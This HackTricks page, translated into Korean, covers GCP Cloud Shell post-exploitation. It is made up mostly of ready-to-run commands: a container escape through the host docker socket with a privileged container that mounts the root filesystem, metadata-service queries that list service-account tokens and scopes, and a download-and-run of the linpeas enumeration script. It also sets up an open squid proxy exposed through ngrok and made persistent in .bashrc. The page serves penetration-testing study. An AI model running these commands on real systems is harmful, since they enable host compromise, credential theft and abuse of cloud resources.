GCP - Cloud Shell Post Exploitation

Support HackTricks

Cloud Shell

Cloud Shell에 대한 자세한 정보는 다음을 확인하세요:

GCP - Cloud Shell Enum

Container Escape

Google Cloud Shell은 컨테이너 내에서 실행되므로, 다음을 수행하여 호스트로 쉽게 탈출할 수 있습니다:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

이것은 구글에 의해 취약점으로 간주되지 않지만, 해당 환경에서 발생하는 일에 대한 더 넓은 시각을 제공합니다.

게다가, 호스트에서 서비스 계정 토큰을 찾을 수 있다는 점에 유의하세요:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

다음 범위와 함께:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

LinPEAS로 메타데이터 열거하기:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

https://github.com/carlospolop/bf_my_gcp_permissions를 사용한 후 권한이 발견되지 않았습니다...

프록시로 사용하기

구글 클라우드 셸 인스턴스를 프록시로 사용하려면 다음 명령어를 실행해야 합니다(또는 .bashrc 파일에 삽입하세요):

sudo apt install -y squid

Just for let you know Squid is a http proxy server. Create a squid.conf file with the following settings:

다음 설정으로 **squid.conf** 파일을 만드세요:
http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

squid.conf 파일을 /etc/squid로 복사합니다.

sudo cp squid.conf /etc/squid

마지막으로 squid 서비스를 실행합니다:

sudo service squid start

ngrok를 사용하여 프록시를 외부에서 사용할 수 있도록 하십시오:

./ngrok tcp 3128
tcp:// URL를 복사한 후 실행합니다. 브라우저에서 프록시를 실행하려면 tcp:// 부분과 포트를 제거하고 포트를 브라우저 프록시 설정의 포트 필드에 입력하는 것이 좋습니다 (squid는 http 프록시 서버입니다).

시작 시 더 나은 사용을 위해 .bashrc 파일에는 다음 줄이 있어야 합니다:
sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

The instructions were copied from https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key. 이 페이지에서 Cloud Shell에서 데이터베이스 및 Windows와 같은 소프트웨어를 실행하는 다른 기발한 아이디어를 확인하세요.

Support HackTricks

Last updated